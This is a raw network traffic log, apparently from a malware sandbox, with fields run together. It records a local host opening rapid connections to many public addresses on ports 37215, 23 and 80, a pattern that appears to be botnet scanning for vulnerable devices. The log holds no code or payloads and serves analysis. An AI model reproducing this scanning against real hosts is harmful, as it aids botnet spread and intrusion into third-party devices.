                                                  Feb 4, 2025 18:08:33.995862007 CET4655937215192.168.2.13197.35.27.155
                                                  Feb 4, 2025 18:08:33.995865107 CET4655937215192.168.2.13156.155.128.208
                                                  Feb 4, 2025 18:08:33.995867014 CET4655937215192.168.2.13156.0.132.91
                                                  Feb 4, 2025 18:08:33.995867014 CET4655937215192.168.2.13197.95.169.165
                                                  Feb 4, 2025 18:08:33.995867014 CET4655937215192.168.2.13197.216.99.168
                                                  Feb 4, 2025 18:08:33.995870113 CET4655937215192.168.2.13156.1.6.203
                                                  Feb 4, 2025 18:08:33.995887041 CET4655937215192.168.2.13197.32.52.153
                                                  Feb 4, 2025 18:08:33.995887041 CET4655937215192.168.2.13156.175.160.59
                                                  Feb 4, 2025 18:08:33.995887041 CET4655937215192.168.2.13156.174.220.64
                                                  Feb 4, 2025 18:08:33.995904922 CET4655937215192.168.2.13197.76.183.236
                                                  Feb 4, 2025 18:08:33.995904922 CET4655937215192.168.2.13197.22.94.212
                                                  Feb 4, 2025 18:08:33.995910883 CET4655937215192.168.2.13197.120.122.129
                                                  Feb 4, 2025 18:08:33.995910883 CET4655937215192.168.2.1341.130.102.44
                                                  Feb 4, 2025 18:08:33.995910883 CET4655937215192.168.2.13156.116.207.23
                                                  Feb 4, 2025 18:08:33.995912075 CET4655937215192.168.2.13197.82.244.86
                                                  Feb 4, 2025 18:08:33.995918036 CET4655937215192.168.2.13156.254.21.112
                                                  Feb 4, 2025 18:08:33.995940924 CET4655937215192.168.2.13197.176.251.16
                                                  Feb 4, 2025 18:08:33.995942116 CET4655937215192.168.2.13156.211.105.251
                                                  Feb 4, 2025 18:08:33.995942116 CET4655937215192.168.2.13197.161.59.180
                                                  Feb 4, 2025 18:08:33.995951891 CET4655937215192.168.2.13197.237.187.214
                                                  Feb 4, 2025 18:08:33.995954990 CET4655937215192.168.2.1341.72.240.67
                                                  Feb 4, 2025 18:08:33.995955944 CET4655937215192.168.2.13197.15.21.252
                                                  Feb 4, 2025 18:08:33.995959044 CET4655937215192.168.2.13156.73.75.169
                                                  Feb 4, 2025 18:08:33.995971918 CET4655937215192.168.2.13156.35.11.82
                                                  Feb 4, 2025 18:08:33.995980024 CET4655937215192.168.2.1341.85.30.43
                                                  Feb 4, 2025 18:08:33.995980024 CET4655937215192.168.2.13156.92.110.170
                                                  Feb 4, 2025 18:08:33.996004105 CET4655937215192.168.2.13156.232.101.241
                                                  Feb 4, 2025 18:08:33.996004105 CET4655937215192.168.2.13156.237.41.204
                                                  Feb 4, 2025 18:08:33.996004105 CET4655937215192.168.2.13197.146.23.55
                                                  Feb 4, 2025 18:08:33.996004105 CET4655937215192.168.2.13197.135.236.144
                                                  Feb 4, 2025 18:08:33.996006012 CET4655937215192.168.2.13156.142.115.255
                                                  Feb 4, 2025 18:08:33.996009111 CET4655937215192.168.2.13197.211.127.14
                                                  Feb 4, 2025 18:08:33.996015072 CET4655937215192.168.2.13197.83.190.231
                                                  Feb 4, 2025 18:08:33.996018887 CET4655937215192.168.2.1341.10.0.97
                                                  Feb 4, 2025 18:08:33.996030092 CET4655937215192.168.2.13197.179.175.12
                                                  Feb 4, 2025 18:08:33.996030092 CET4655937215192.168.2.13156.24.198.101
                                                  Feb 4, 2025 18:08:33.996047020 CET4655937215192.168.2.13197.154.62.138
                                                  Feb 4, 2025 18:08:33.996047974 CET4655937215192.168.2.13156.171.150.125
                                                  Feb 4, 2025 18:08:33.996057034 CET4655937215192.168.2.13156.201.78.237
                                                  Feb 4, 2025 18:08:33.996057034 CET4655937215192.168.2.13197.85.247.15
                                                  Feb 4, 2025 18:08:33.996057034 CET4655937215192.168.2.13197.46.37.251
                                                  Feb 4, 2025 18:08:33.996057987 CET4655937215192.168.2.13156.188.103.142
                                                  Feb 4, 2025 18:08:33.996061087 CET4655937215192.168.2.13156.158.13.160
                                                  Feb 4, 2025 18:08:33.996063948 CET4655937215192.168.2.13197.55.252.87
                                                  Feb 4, 2025 18:08:33.996068001 CET4655937215192.168.2.13156.43.235.84
                                                  Feb 4, 2025 18:08:33.996068001 CET4655937215192.168.2.1341.16.148.98
                                                  Feb 4, 2025 18:08:33.996076107 CET4655937215192.168.2.13156.178.72.158
                                                  Feb 4, 2025 18:08:33.996085882 CET4655937215192.168.2.13156.4.154.9
                                                  Feb 4, 2025 18:08:33.996085882 CET4655937215192.168.2.1341.61.140.191
                                                  Feb 4, 2025 18:08:33.996088982 CET4655937215192.168.2.1341.3.76.221
                                                  Feb 4, 2025 18:08:33.996093035 CET4655937215192.168.2.1341.68.217.228
                                                  Feb 4, 2025 18:08:33.996097088 CET4655937215192.168.2.1341.83.212.170
                                                  Feb 4, 2025 18:08:33.996098042 CET4655937215192.168.2.13197.212.229.101
                                                  Feb 4, 2025 18:08:33.996098042 CET4655937215192.168.2.13156.231.79.226
                                                  Feb 4, 2025 18:08:33.996107101 CET4655937215192.168.2.13156.246.75.193
                                                  Feb 4, 2025 18:08:33.996119976 CET4655937215192.168.2.13156.48.119.255
                                                  Feb 4, 2025 18:08:33.996123075 CET4655937215192.168.2.13197.111.194.225
                                                  Feb 4, 2025 18:08:33.996123075 CET4655937215192.168.2.1341.40.7.148
                                                  Feb 4, 2025 18:08:33.996129036 CET4655937215192.168.2.13197.81.132.52
                                                  Feb 4, 2025 18:08:33.996129036 CET4655937215192.168.2.1341.198.235.112
                                                  Feb 4, 2025 18:08:33.996129036 CET4655937215192.168.2.13197.212.30.248
                                                  Feb 4, 2025 18:08:33.996135950 CET4655937215192.168.2.13156.37.83.59
                                                  Feb 4, 2025 18:08:33.996146917 CET4655937215192.168.2.1341.66.73.207
                                                  Feb 4, 2025 18:08:33.996155024 CET4655937215192.168.2.1341.237.89.222
                                                  Feb 4, 2025 18:08:33.996155977 CET4655937215192.168.2.13156.239.76.70
                                                  Feb 4, 2025 18:08:33.996157885 CET4655937215192.168.2.13156.92.241.81
                                                  Feb 4, 2025 18:08:33.996167898 CET4655937215192.168.2.13156.147.154.206
                                                  Feb 4, 2025 18:08:33.996169090 CET4655937215192.168.2.13156.226.255.95
                                                  Feb 4, 2025 18:08:33.996170044 CET4655937215192.168.2.13197.111.117.96
                                                  Feb 4, 2025 18:08:33.996174097 CET4655937215192.168.2.13156.12.64.42
                                                  Feb 4, 2025 18:08:33.996186972 CET4655937215192.168.2.13156.80.96.101
                                                  Feb 4, 2025 18:08:33.996186972 CET4655937215192.168.2.1341.226.18.191
                                                  Feb 4, 2025 18:08:33.996203899 CET4655937215192.168.2.13156.137.126.16
                                                  Feb 4, 2025 18:08:33.996203899 CET4655937215192.168.2.13156.204.71.2
                                                  Feb 4, 2025 18:08:33.996205091 CET4655937215192.168.2.13197.183.205.11
                                                  Feb 4, 2025 18:08:33.996205091 CET4655937215192.168.2.1341.13.26.218
                                                  Feb 4, 2025 18:08:33.996223927 CET4655937215192.168.2.13156.90.225.127
                                                  Feb 4, 2025 18:08:33.996223927 CET4655937215192.168.2.13156.91.192.40
                                                  Feb 4, 2025 18:08:33.996223927 CET4655937215192.168.2.13156.21.239.96
                                                  Feb 4, 2025 18:08:33.996226072 CET4655937215192.168.2.1341.80.147.143
                                                  Feb 4, 2025 18:08:33.996238947 CET4655937215192.168.2.13197.17.91.163
                                                  Feb 4, 2025 18:08:33.996241093 CET4655937215192.168.2.1341.241.129.138
                                                  Feb 4, 2025 18:08:33.996247053 CET4655937215192.168.2.13156.45.130.226
                                                  Feb 4, 2025 18:08:33.996260881 CET4811437215192.168.2.13156.131.113.221
                                                  Feb 4, 2025 18:08:33.996273994 CET3571237215192.168.2.13156.183.80.109
                                                  Feb 4, 2025 18:08:34.925403118 CET2345279136.231.127.53192.168.2.13
                                                  Feb 4, 2025 18:08:34.925415993 CET234527939.250.68.78192.168.2.13
                                                  Feb 4, 2025 18:08:34.925436020 CET234527948.205.234.201192.168.2.13
                                                  Feb 4, 2025 18:08:34.925446033 CET2345279195.31.42.12192.168.2.13
                                                  Feb 4, 2025 18:08:34.925455093 CET2345279190.19.118.202192.168.2.13
                                                  Feb 4, 2025 18:08:34.925465107 CET234527935.122.248.55192.168.2.13
                                                  Feb 4, 2025 18:08:34.925473928 CET234527989.234.151.17192.168.2.13
                                                  Feb 4, 2025 18:08:34.925518036 CET4527923192.168.2.13136.231.127.53
                                                  Feb 4, 2025 18:08:34.925528049 CET4527923192.168.2.13190.19.118.202
                                                  Feb 4, 2025 18:08:34.925528049 CET4527923192.168.2.1339.250.68.78
                                                  Feb 4, 2025 18:08:34.925529957 CET234527962.29.147.130192.168.2.13
                                                  Feb 4, 2025 18:08:34.925540924 CET2345279138.33.75.69192.168.2.13
                                                  Feb 4, 2025 18:08:34.925550938 CET23452791.55.181.0192.168.2.13
                                                  Feb 4, 2025 18:08:34.925551891 CET4527923192.168.2.1335.122.248.55
                                                  Feb 4, 2025 18:08:34.925558090 CET4527923192.168.2.1348.205.234.201
                                                  Feb 4, 2025 18:08:34.925558090 CET4527923192.168.2.13195.31.42.12
                                                  Feb 4, 2025 18:08:34.925558090 CET4527923192.168.2.1389.234.151.17
                                                  Feb 4, 2025 18:08:34.925563097 CET234527950.32.10.8192.168.2.13
                                                  Feb 4, 2025 18:08:34.925570965 CET4527923192.168.2.13138.33.75.69
                                                  Feb 4, 2025 18:08:34.925570965 CET4527923192.168.2.1362.29.147.130
                                                  Feb 4, 2025 18:08:34.925573111 CET234527996.124.192.5192.168.2.13
                                                  Feb 4, 2025 18:08:34.925582886 CET2345279159.47.9.222192.168.2.13
                                                  Feb 4, 2025 18:08:34.925585032 CET4527923192.168.2.131.55.181.0
                                                  Feb 4, 2025 18:08:34.925594091 CET4527923192.168.2.1350.32.10.8
                                                  Feb 4, 2025 18:08:34.925594091 CET2345279116.161.235.92192.168.2.13
                                                  Feb 4, 2025 18:08:34.925605059 CET234527990.62.67.32192.168.2.13
                                                  Feb 4, 2025 18:08:34.925610065 CET4527923192.168.2.1396.124.192.5
                                                  Feb 4, 2025 18:08:34.925616980 CET4527923192.168.2.13159.47.9.222
                                                  Feb 4, 2025 18:08:34.925617933 CET234527998.138.101.5192.168.2.13
                                                  Feb 4, 2025 18:08:34.925630093 CET2345279220.142.90.234192.168.2.13
                                                  Feb 4, 2025 18:08:34.925640106 CET2345279100.1.11.199192.168.2.13
                                                  Feb 4, 2025 18:08:34.925637960 CET4527923192.168.2.13116.161.235.92
                                                  Feb 4, 2025 18:08:34.925643921 CET4527923192.168.2.1390.62.67.32
                                                  Feb 4, 2025 18:08:34.925652981 CET2345279200.1.12.100192.168.2.13
                                                  Feb 4, 2025 18:08:34.925656080 CET4527923192.168.2.1398.138.101.5
                                                  Feb 4, 2025 18:08:34.925663948 CET234527958.77.186.51192.168.2.13
                                                  Feb 4, 2025 18:08:34.925674915 CET234527981.178.200.23192.168.2.13
                                                  Feb 4, 2025 18:08:34.925682068 CET4527923192.168.2.13220.142.90.234
                                                  Feb 4, 2025 18:08:34.925682068 CET4527923192.168.2.13100.1.11.199
                                                  Feb 4, 2025 18:08:34.925684929 CET2345279188.137.98.4192.168.2.13
                                                  Feb 4, 2025 18:08:34.925694942 CET234527912.224.226.165192.168.2.13
                                                  Feb 4, 2025 18:08:34.925693989 CET4527923192.168.2.13200.1.12.100
                                                  Feb 4, 2025 18:08:34.925702095 CET4527923192.168.2.1358.77.186.51
                                                  Feb 4, 2025 18:08:34.925704002 CET234527934.244.158.172192.168.2.13
                                                  Feb 4, 2025 18:08:34.925714016 CET234527988.65.55.163192.168.2.13
                                                  Feb 4, 2025 18:08:34.925723076 CET2345279165.212.115.172192.168.2.13
                                                  Feb 4, 2025 18:08:34.925743103 CET4527923192.168.2.1381.178.200.23
                                                  Feb 4, 2025 18:08:34.925743103 CET4527923192.168.2.13188.137.98.4
                                                  Feb 4, 2025 18:08:34.925743103 CET4527923192.168.2.1312.224.226.165
                                                  Feb 4, 2025 18:08:34.925743103 CET4527923192.168.2.1334.244.158.172
                                                  Feb 4, 2025 18:08:34.925743103 CET4527923192.168.2.1388.65.55.163
                                                  Feb 4, 2025 18:08:34.925767899 CET4527923192.168.2.13165.212.115.172
                                                  Feb 4, 2025 18:08:34.925988913 CET2345279102.128.128.244192.168.2.13
                                                  Feb 4, 2025 18:08:34.926028967 CET4527923192.168.2.13102.128.128.244
                                                  Feb 4, 2025 18:08:34.926953077 CET2345279205.164.12.60192.168.2.13
                                                  Feb 4, 2025 18:08:34.926995993 CET4527923192.168.2.13205.164.12.60
                                                  Feb 4, 2025 18:08:34.926996946 CET2345279151.105.210.186192.168.2.13
                                                  Feb 4, 2025 18:08:34.927007914 CET234527936.126.91.34192.168.2.13
                                                  Feb 4, 2025 18:08:34.927017927 CET2345279205.35.203.106192.168.2.13
                                                  Feb 4, 2025 18:08:34.927031040 CET234527924.219.19.73192.168.2.13
                                                  Feb 4, 2025 18:08:34.927040100 CET4527923192.168.2.13151.105.210.186
                                                  Feb 4, 2025 18:08:34.927041054 CET2345279219.207.242.252192.168.2.13
                                                  Feb 4, 2025 18:08:34.927045107 CET4527923192.168.2.1336.126.91.34
                                                  Feb 4, 2025 18:08:34.927053928 CET4527923192.168.2.13205.35.203.106
                                                  Feb 4, 2025 18:08:34.927058935 CET2345279120.3.158.28192.168.2.13
                                                  Feb 4, 2025 18:08:34.927068949 CET4527923192.168.2.1324.219.19.73
                                                  Feb 4, 2025 18:08:34.927069902 CET234527983.127.234.103192.168.2.13
                                                  Feb 4, 2025 18:08:34.927081108 CET2345279121.65.121.50192.168.2.13
                                                  Feb 4, 2025 18:08:34.927083015 CET4527923192.168.2.13219.207.242.252
                                                  Feb 4, 2025 18:08:34.927086115 CET4527923192.168.2.13120.3.158.28
                                                  Feb 4, 2025 18:08:34.927090883 CET234527992.140.64.117192.168.2.13
                                                  Feb 4, 2025 18:08:34.927095890 CET4527923192.168.2.1383.127.234.103
                                                  Feb 4, 2025 18:08:34.927099943 CET234527966.215.195.156192.168.2.13
                                                  Feb 4, 2025 18:08:34.927110910 CET2345279129.4.42.63192.168.2.13
                                                  Feb 4, 2025 18:08:34.927112103 CET4527923192.168.2.13121.65.121.50
                                                  Feb 4, 2025 18:08:34.927120924 CET2345279137.221.197.68192.168.2.13
                                                  Feb 4, 2025 18:08:34.927129984 CET2345279168.159.177.90192.168.2.13
                                                  Feb 4, 2025 18:08:34.927129984 CET4527923192.168.2.1392.140.64.117
                                                  Feb 4, 2025 18:08:34.927134037 CET4527923192.168.2.1366.215.195.156
                                                  Feb 4, 2025 18:08:34.927139044 CET2345279157.166.124.212192.168.2.13
                                                  Feb 4, 2025 18:08:34.927149057 CET2345279207.249.199.147192.168.2.13
                                                  Feb 4, 2025 18:08:34.927155018 CET4527923192.168.2.13168.159.177.90
                                                  Feb 4, 2025 18:08:34.927155972 CET4527923192.168.2.13137.221.197.68
                                                  Feb 4, 2025 18:08:34.927159071 CET2345279208.230.44.212192.168.2.13
                                                  Feb 4, 2025 18:08:34.927169085 CET2345279122.157.29.20192.168.2.13
                                                  Feb 4, 2025 18:08:34.927175999 CET4527923192.168.2.13129.4.42.63
                                                  Feb 4, 2025 18:08:34.927177906 CET234527952.250.123.175192.168.2.13
                                                  Feb 4, 2025 18:08:34.927186966 CET2345279132.91.29.97192.168.2.13
                                                  Feb 4, 2025 18:08:34.927191973 CET4527923192.168.2.13208.230.44.212
                                                  Feb 4, 2025 18:08:34.927191973 CET4527923192.168.2.13207.249.199.147
                                                  Feb 4, 2025 18:08:34.927198887 CET4527923192.168.2.13122.157.29.20
                                                  Feb 4, 2025 18:08:34.927205086 CET234527912.26.73.109192.168.2.13
                                                  Feb 4, 2025 18:08:34.927215099 CET234527976.112.30.87192.168.2.13
                                                  Feb 4, 2025 18:08:34.927218914 CET4527923192.168.2.13132.91.29.97
                                                  Feb 4, 2025 18:08:34.927223921 CET234527912.50.164.244192.168.2.13
                                                  Feb 4, 2025 18:08:34.927233934 CET234527935.226.118.20192.168.2.13
                                                  Feb 4, 2025 18:08:34.927244902 CET2345279206.219.108.214192.168.2.13
                                                  Feb 4, 2025 18:08:34.927242994 CET4527923192.168.2.1312.26.73.109
                                                  Feb 4, 2025 18:08:34.927244902 CET4527923192.168.2.1376.112.30.87
                                                  Feb 4, 2025 18:08:34.927249908 CET4527923192.168.2.1312.50.164.244
                                                  Feb 4, 2025 18:08:34.927252054 CET4527923192.168.2.13157.166.124.212
                                                  Feb 4, 2025 18:08:34.927252054 CET4527923192.168.2.1352.250.123.175
                                                  Feb 4, 2025 18:08:34.927254915 CET2345279135.249.223.176192.168.2.13
                                                  Feb 4, 2025 18:08:34.927265882 CET2345279181.139.110.96192.168.2.13
                                                  Feb 4, 2025 18:08:34.927270889 CET4527923192.168.2.13206.219.108.214
                                                  Feb 4, 2025 18:08:34.927273035 CET4527923192.168.2.1335.226.118.20
                                                  Feb 4, 2025 18:08:34.927277088 CET234527964.120.236.72192.168.2.13
                                                  Feb 4, 2025 18:08:34.927288055 CET4527923192.168.2.13135.249.223.176
                                                  Feb 4, 2025 18:08:34.927292109 CET4527923192.168.2.13181.139.110.96
                                                  Feb 4, 2025 18:08:34.927334070 CET4527923192.168.2.1364.120.236.72
                                                  Feb 4, 2025 18:08:34.928332090 CET2345279122.216.70.225192.168.2.13
                                                  Feb 4, 2025 18:08:34.928344011 CET2345279138.225.183.173192.168.2.13
                                                  Feb 4, 2025 18:08:34.928353071 CET234527972.124.26.232192.168.2.13
                                                  Feb 4, 2025 18:08:34.928361893 CET234527970.207.202.175192.168.2.13
                                                  Feb 4, 2025 18:08:34.928369999 CET4527923192.168.2.13122.216.70.225
                                                  Feb 4, 2025 18:08:34.928373098 CET2345279203.71.232.109192.168.2.13
                                                  Feb 4, 2025 18:08:34.928375959 CET4527923192.168.2.1372.124.26.232
                                                  Feb 4, 2025 18:08:34.928391933 CET4527923192.168.2.13138.225.183.173
                                                  Feb 4, 2025 18:08:34.928414106 CET4527923192.168.2.1370.207.202.175
                                                  Feb 4, 2025 18:08:34.928423882 CET4527923192.168.2.13203.71.232.109
                                                  Feb 4, 2025 18:08:34.928433895 CET2345279209.219.112.45192.168.2.13
                                                  Feb 4, 2025 18:08:34.928442955 CET2345279141.63.178.36192.168.2.13
                                                  Feb 4, 2025 18:08:34.928452015 CET2345279182.73.238.13192.168.2.13
                                                  Feb 4, 2025 18:08:34.928472042 CET2345279140.210.156.58192.168.2.13
                                                  Feb 4, 2025 18:08:34.928472996 CET4527923192.168.2.13209.219.112.45
                                                  Feb 4, 2025 18:08:34.928472996 CET4527923192.168.2.13141.63.178.36
                                                  Feb 4, 2025 18:08:34.928481102 CET234527949.183.137.137192.168.2.13
                                                  Feb 4, 2025 18:08:34.928491116 CET234527978.244.29.109192.168.2.13
                                                  Feb 4, 2025 18:08:34.928494930 CET4527923192.168.2.13182.73.238.13
                                                  Feb 4, 2025 18:08:34.928502083 CET2345279169.95.216.21192.168.2.13
                                                  Feb 4, 2025 18:08:34.928510904 CET2345279191.133.193.140192.168.2.13
                                                  Feb 4, 2025 18:08:34.928520918 CET234527968.23.44.158192.168.2.13
                                                  Feb 4, 2025 18:08:34.928529978 CET2345279206.230.70.194192.168.2.13
                                                  Feb 4, 2025 18:08:34.928539038 CET4527923192.168.2.1378.244.29.109
                                                  Feb 4, 2025 18:08:34.928539991 CET23452791.108.42.79192.168.2.13
                                                  Feb 4, 2025 18:08:34.928544998 CET4527923192.168.2.13140.210.156.58
                                                  Feb 4, 2025 18:08:34.928545952 CET4527923192.168.2.1349.183.137.137
                                                  Feb 4, 2025 18:08:34.928546906 CET4527923192.168.2.13191.133.193.140
                                                  Feb 4, 2025 18:08:34.928544998 CET4527923192.168.2.13169.95.216.21
                                                  Feb 4, 2025 18:08:34.928550959 CET2345279119.34.244.214192.168.2.13
                                                  Feb 4, 2025 18:08:34.928553104 CET4527923192.168.2.1368.23.44.158
                                                  Feb 4, 2025 18:08:34.928555012 CET4527923192.168.2.13206.230.70.194
                                                  Feb 4, 2025 18:08:34.928560972 CET2345279222.154.124.218192.168.2.13
                                                  Feb 4, 2025 18:08:34.928570986 CET4527923192.168.2.131.108.42.79
                                                  Feb 4, 2025 18:08:34.928571939 CET234527992.154.169.90192.168.2.13
                                                  Feb 4, 2025 18:08:34.928576946 CET2345279113.66.142.129192.168.2.13
                                                  Feb 4, 2025 18:08:34.928586006 CET2345279142.79.50.30192.168.2.13
                                                  Feb 4, 2025 18:08:34.928586960 CET4527923192.168.2.13119.34.244.214
                                                  Feb 4, 2025 18:08:34.928596020 CET2345279191.57.37.165192.168.2.13
                                                  Feb 4, 2025 18:08:34.928601027 CET4527923192.168.2.13222.154.124.218
                                                  Feb 4, 2025 18:08:34.928606987 CET2345279152.170.172.18192.168.2.13
                                                  Feb 4, 2025 18:08:34.928616047 CET4527923192.168.2.13113.66.142.129
                                                  Feb 4, 2025 18:08:34.928616047 CET4527923192.168.2.1392.154.169.90
                                                  Feb 4, 2025 18:08:34.928616047 CET234527965.255.122.2192.168.2.13
                                                  Feb 4, 2025 18:08:34.928616047 CET4527923192.168.2.13142.79.50.30
                                                  Feb 4, 2025 18:08:34.928626060 CET4527923192.168.2.13191.57.37.165
                                                  Feb 4, 2025 18:08:34.928627014 CET2345279170.141.220.30192.168.2.13
                                                  Feb 4, 2025 18:08:34.928632021 CET4527923192.168.2.13152.170.172.18
                                                  Feb 4, 2025 18:08:34.928637981 CET2345279101.103.231.240192.168.2.13
                                                  Feb 4, 2025 18:08:34.928648949 CET2345279204.112.40.67192.168.2.13
                                                  Feb 4, 2025 18:08:34.928651094 CET4527923192.168.2.1365.255.122.2
                                                  Feb 4, 2025 18:08:34.928675890 CET4527923192.168.2.13101.103.231.240
                                                  Feb 4, 2025 18:08:34.928682089 CET4527923192.168.2.13170.141.220.30
                                                  Feb 4, 2025 18:08:34.928684950 CET4527923192.168.2.13204.112.40.67
                                                  Feb 4, 2025 18:08:34.928744078 CET2345279145.244.48.12192.168.2.13
                                                  Feb 4, 2025 18:08:34.928780079 CET4527923192.168.2.13145.244.48.12
                                                  Feb 4, 2025 18:08:34.929713964 CET2345279176.28.0.192192.168.2.13
                                                  Feb 4, 2025 18:08:34.929725885 CET2345279102.1.255.159192.168.2.13
                                                  Feb 4, 2025 18:08:34.929734945 CET2345279139.180.35.219192.168.2.13
                                                  Feb 4, 2025 18:08:34.929744959 CET2345279113.61.41.69192.168.2.13
                                                  Feb 4, 2025 18:08:34.929752111 CET4527923192.168.2.13102.1.255.159
                                                  Feb 4, 2025 18:08:34.929754972 CET2345279203.201.121.179192.168.2.13
                                                  Feb 4, 2025 18:08:34.929759979 CET234527919.98.229.90192.168.2.13
                                                  Feb 4, 2025 18:08:34.929764032 CET234527997.88.172.69192.168.2.13
                                                  Feb 4, 2025 18:08:34.929766893 CET4527923192.168.2.13176.28.0.192
                                                  Feb 4, 2025 18:08:34.929774046 CET234527937.57.154.190192.168.2.13
                                                  Feb 4, 2025 18:08:34.929783106 CET234527992.177.115.77192.168.2.13
                                                  Feb 4, 2025 18:08:34.929788113 CET4527923192.168.2.13203.201.121.179
                                                  Feb 4, 2025 18:08:34.929791927 CET2345279196.235.209.129192.168.2.13
                                                  Feb 4, 2025 18:08:34.929792881 CET4527923192.168.2.13139.180.35.219
                                                  Feb 4, 2025 18:08:34.929795980 CET4527923192.168.2.1319.98.229.90
                                                  Feb 4, 2025 18:08:34.929801941 CET23452798.71.93.68192.168.2.13
                                                  Feb 4, 2025 18:08:34.929805994 CET4527923192.168.2.1337.57.154.190
                                                  Feb 4, 2025 18:08:34.929810047 CET4527923192.168.2.1392.177.115.77
                                                  Feb 4, 2025 18:08:34.929812908 CET234527974.88.136.70192.168.2.13
                                                  Feb 4, 2025 18:08:34.929822922 CET2345279198.254.246.206192.168.2.13
                                                  Feb 4, 2025 18:08:34.929825068 CET4527923192.168.2.13113.61.41.69
                                                  Feb 4, 2025 18:08:34.929825068 CET4527923192.168.2.1397.88.172.69
                                                  Feb 4, 2025 18:08:34.929832935 CET4527923192.168.2.13196.235.209.129
                                                  Feb 4, 2025 18:08:34.929833889 CET2345279101.181.115.199192.168.2.13
                                                  Feb 4, 2025 18:08:34.929842949 CET4527923192.168.2.138.71.93.68
                                                  Feb 4, 2025 18:08:34.929843903 CET4527923192.168.2.1374.88.136.70
                                                  Feb 4, 2025 18:08:34.929847956 CET8046047195.74.159.26192.168.2.13
                                                  Feb 4, 2025 18:08:34.929852009 CET4527923192.168.2.13198.254.246.206
                                                  Feb 4, 2025 18:08:34.929860115 CET3721546559197.196.203.219192.168.2.13
                                                  Feb 4, 2025 18:08:34.929867983 CET4527923192.168.2.13101.181.115.199
                                                  Feb 4, 2025 18:08:34.929883957 CET4604780192.168.2.13195.74.159.26
                                                  Feb 4, 2025 18:08:34.929887056 CET4655937215192.168.2.13197.196.203.219
                                                  Feb 4, 2025 18:08:34.983716965 CET4527923192.168.2.1338.208.59.232
                                                  Feb 4, 2025 18:08:34.983720064 CET4527923192.168.2.13153.6.242.6
                                                  Feb 4, 2025 18:08:34.983720064 CET4527923192.168.2.13168.3.166.111
                                                  Feb 4, 2025 18:08:34.983717918 CET4527923192.168.2.13181.105.12.235
                                                  Feb 4, 2025 18:08:34.983717918 CET4527923192.168.2.13157.107.33.82
                                                  Feb 4, 2025 18:08:34.983716965 CET4527923192.168.2.1396.148.79.66
                                                  Feb 4, 2025 18:08:34.983728886 CET4527923192.168.2.1319.112.183.7
                                                  Feb 4, 2025 18:08:34.983735085 CET4527923192.168.2.13125.253.51.150
                                                  Feb 4, 2025 18:08:34.983735085 CET4527923192.168.2.1383.126.49.63
                                                  Feb 4, 2025 18:08:34.983747959 CET4527923192.168.2.13126.210.54.18
                                                  Feb 4, 2025 18:08:34.983760118 CET4527923192.168.2.1336.121.83.169
                                                  Feb 4, 2025 18:08:34.983767033 CET4527923192.168.2.13190.73.162.164
                                                  Feb 4, 2025 18:08:34.983741999 CET4527923192.168.2.13126.52.128.133
                                                  Feb 4, 2025 18:08:34.983773947 CET4527923192.168.2.13203.209.222.21
                                                  Feb 4, 2025 18:08:34.983784914 CET4527923192.168.2.1358.153.172.82
                                                  Feb 4, 2025 18:08:34.983788967 CET4527923192.168.2.13200.195.172.145
                                                  Feb 4, 2025 18:08:34.983794928 CET4527923192.168.2.1372.68.38.171
                                                  Feb 4, 2025 18:08:34.983794928 CET4527923192.168.2.13123.122.245.192
                                                  Feb 4, 2025 18:08:34.983794928 CET4527923192.168.2.13153.79.249.188
                                                  Feb 4, 2025 18:08:34.983797073 CET4527923192.168.2.13158.85.159.11
                                                  Feb 4, 2025 18:08:34.983803034 CET4527923192.168.2.13204.72.80.206
                                                  Feb 4, 2025 18:08:34.983805895 CET4527923192.168.2.13172.4.225.3
                                                  Feb 4, 2025 18:08:34.983818054 CET4527923192.168.2.13117.123.202.218
                                                  Feb 4, 2025 18:08:34.983818054 CET4527923192.168.2.13200.170.12.163
                                                  Feb 4, 2025 18:08:34.983819008 CET4527923192.168.2.1341.120.215.16
                                                  Feb 4, 2025 18:08:34.983818054 CET4527923192.168.2.1323.248.201.127
                                                  Feb 4, 2025 18:08:34.983819008 CET4527923192.168.2.1359.114.98.254
                                                  Feb 4, 2025 18:08:34.983818054 CET4527923192.168.2.1352.69.102.32
                                                  Feb 4, 2025 18:08:34.983818054 CET4527923192.168.2.13104.211.198.45
                                                  Feb 4, 2025 18:08:34.983818054 CET4527923192.168.2.13219.228.69.97
                                                  Feb 4, 2025 18:08:34.983827114 CET4527923192.168.2.1354.47.246.5
                                                  Feb 4, 2025 18:08:34.983834028 CET4527923192.168.2.1361.140.224.23
                                                  Feb 4, 2025 18:08:34.983844042 CET4527923192.168.2.13167.96.8.64
                                                  Feb 4, 2025 18:08:34.983844995 CET4527923192.168.2.1338.192.145.26
                                                  Feb 4, 2025 18:08:34.983850956 CET4527923192.168.2.13126.203.168.223
                                                  Feb 4, 2025 18:08:34.983855009 CET4527923192.168.2.1349.40.117.88
                                                  Feb 4, 2025 18:08:34.983860970 CET4527923192.168.2.1397.250.32.174
                                                  Feb 4, 2025 18:08:34.983863115 CET4527923192.168.2.13143.7.246.179
                                                  Feb 4, 2025 18:08:34.983875990 CET4527923192.168.2.1319.215.165.94
                                                  Feb 4, 2025 18:08:34.983884096 CET4527923192.168.2.13154.47.221.152
                                                  Feb 4, 2025 18:08:34.983886957 CET4527923192.168.2.1397.150.57.114
                                                  Feb 4, 2025 18:08:34.983894110 CET4527923192.168.2.13171.30.119.188
                                                  Feb 4, 2025 18:08:34.983908892 CET4527923192.168.2.1375.20.202.244
                                                  Feb 4, 2025 18:08:34.983910084 CET4527923192.168.2.1314.54.179.245
                                                  Feb 4, 2025 18:08:34.983911991 CET4527923192.168.2.1372.113.200.75
                                                  Feb 4, 2025 18:08:34.983912945 CET4527923192.168.2.13106.214.38.180
                                                  Feb 4, 2025 18:08:34.983911991 CET4527923192.168.2.1369.119.234.134
                                                  Feb 4, 2025 18:08:34.983922958 CET4527923192.168.2.1389.37.61.40
                                                  Feb 4, 2025 18:08:34.983931065 CET4527923192.168.2.1359.88.95.223
                                                  Feb 4, 2025 18:08:34.983938932 CET4527923192.168.2.13188.187.20.73
                                                  Feb 4, 2025 18:08:34.983947039 CET4527923192.168.2.13170.108.195.198
                                                  Feb 4, 2025 18:08:34.983947992 CET4527923192.168.2.13210.47.247.121
                                                  Feb 4, 2025 18:08:34.983964920 CET4527923192.168.2.13161.36.167.132
                                                  Feb 4, 2025 18:08:34.983971119 CET4527923192.168.2.13129.107.64.68
                                                  Feb 4, 2025 18:08:34.983972073 CET4527923192.168.2.1351.82.64.204
                                                  Feb 4, 2025 18:08:34.983971119 CET4527923192.168.2.1376.115.183.69
